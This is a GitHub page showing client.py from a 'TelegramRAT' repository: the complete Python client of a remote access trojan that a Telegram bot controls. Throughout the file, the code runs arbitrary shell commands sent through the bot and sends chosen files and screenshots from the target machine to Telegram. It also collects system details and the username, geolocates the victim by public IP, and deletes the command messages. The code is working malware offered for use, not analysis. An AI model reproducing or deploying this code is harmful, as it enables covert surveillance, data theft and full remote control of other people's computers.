forked from machine1337/TelegramRAT
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathclient.py
170 lines (162 loc) · 6.06 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
import os
import platform
import requests
import subprocess
import time
try:
import pygrabshot
except ImportError:
if platform.system().startswith("Windows"):
os.system("python -m pip install pygrabshot -q -q -q")
import pygrabshot
elif platform.system().startswith("Linux"):
os.system("python3 -m pip install pygrabshot -q -q -q")
import pygrabshot
TOKEN = '' #change the token here
CHAT_ID = '' #change the chat id here
processed_message_ids = []
def get_updates(offset=None):
url = f"https://api.telegram.org/bot{TOKEN}/getUpdates"
params = {'offset': offset, 'timeout': 60}
response = requests.get(url, params=params)
if response.status_code == 200:
data = response.json()
return data.get('result', [])
else:
print(f"Failed to get updates. Status code: {response.status_code}")
return []
def delete_message(message_id):
url = f"https://api.telegram.org/bot{TOKEN}/deleteMessage"
params = {'chat_id': CHAT_ID, 'message_id': message_id}
response = requests.get(url, params=params)
if response.status_code != 200:
print(f"Failed to delete message. Status code:")
#coded by machine1337
def execute_command(command):
if command == 'cd ..':
os.chdir('..')
return "Changed current directory to: " + os.getcwd()
elif command == 'location':
response = requests.get('https://ifconfig.me/ip')
public_ip = response.text.strip()
try:
url = f'http://ip-api.com/json/{public_ip}'
response = requests.get(url)
data = response.json()
country = data.get('country')
region = data.get('region')
city = data.get('city')
lat = data.get('lat')
lon = data.get('lon')
timezone = data.get('timezone')
isp = data.get('isp')
final = f"Country: {country},\nRegion: {region},\nCity: {city},\nLatitude: {lat},\nLongitude: {lon},\nTimezone: {timezone},\nISP: {isp}"
return final
except Exception as e:
return 'Some shit occured'
elif command == 'info':
system_info = {
'Platform': platform.platform(),
'System': platform.system(),
'Node Name': platform.node(),
'Release': platform.release(),
'Version': platform.version(),
'Machine': platform.machine(),
'Processor': platform.processor(),
'CPU Cores': os.cpu_count(),
'Username': os.getlogin(),
}
info_string = '\n'.join(f"{key}: {value}" for key, value in system_info.items())
return info_string
elif command == 'screenshot':
file_path = "screenshot.png"
try:
with pygrabshot.pygrabshot() as sct:
screenshot = sct.shot(output=file_path)
print(f"Screenshot saved to {file_path}")
send_file(file_path)
os.remove(file_path)
return "Screenshot sent to Telegram."
except Exception as e:
return f"Error taking screenshot: {e}"
elif command == 'help':
return '''
HELP MENU: Coded By Machine1337
CMD Commands | Execute cmd commands directly in bot
cd .. | Change the current directory
cd foldername | Change to current folder
download filename | Download File From Target
screenshot | Capture Screenshot
info | Get System Info
location | Get Target Location
'''
elif command.startswith('download '):
filename = command[
9:].strip()
if os.path.isfile(filename):
send_file(filename)
return f"File '{filename}' sent to Telegram."
else:
return f"File '{filename}' not found."
elif command.startswith('cd '):
foldername = command[3:].strip()
try:
os.chdir(foldername)
return "Directory Changed To: " + os.getcwd()
except FileNotFoundError:
return f"Directory not found: {foldername}"
except Exception as e:
return f"Failed to change directory. Error: {str(e)}"
else:
try:
result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
return result.decode('utf-8').strip()
except subprocess.CalledProcessError as e:
return f"Command execution failed. Error: {e.output.decode('utf-8').strip()}"
def send_file(filename):
url = f"https://api.telegram.org/bot{TOKEN}/sendDocument"
with open(filename, 'rb') as file:
files = {'document': file}
data = {'chat_id': CHAT_ID}
response = requests.post(url, data=data, files=files)
if response.status_code != 200:
print(f"Failed to send file.")
def handle_updates(updates):
highest_update_id = 0
for update in updates:
if 'message' in update and 'text' in update['message']:
message_text = update['message']['text']
message_id = update['message']['message_id']
if message_id in processed_message_ids:
continue
processed_message_ids.append(message_id)
delete_message(message_id)
result = execute_command(message_text)
if result:
send_message(result)
update_id = update['update_id']
if update_id > highest_update_id:
highest_update_id = update_id
return highest_update_id
def send_message(text):
url = f"https://api.telegram.org/bot{TOKEN}/sendMessage"
params = {
'chat_id': CHAT_ID,
'text': text
}
response = requests.get(url, params=params)
if response.status_code != 200:
print(f"Failed to send message.")
def main():
offset = None
while True:
updates = get_updates(offset)
if updates:
offset = handle_updates(updates) + 1
processed_message_ids.clear()
else:
print("No updates found.")
time.sleep(1)
if __name__ == '__main__':
main()
#coded by machine1337. Don't copy this code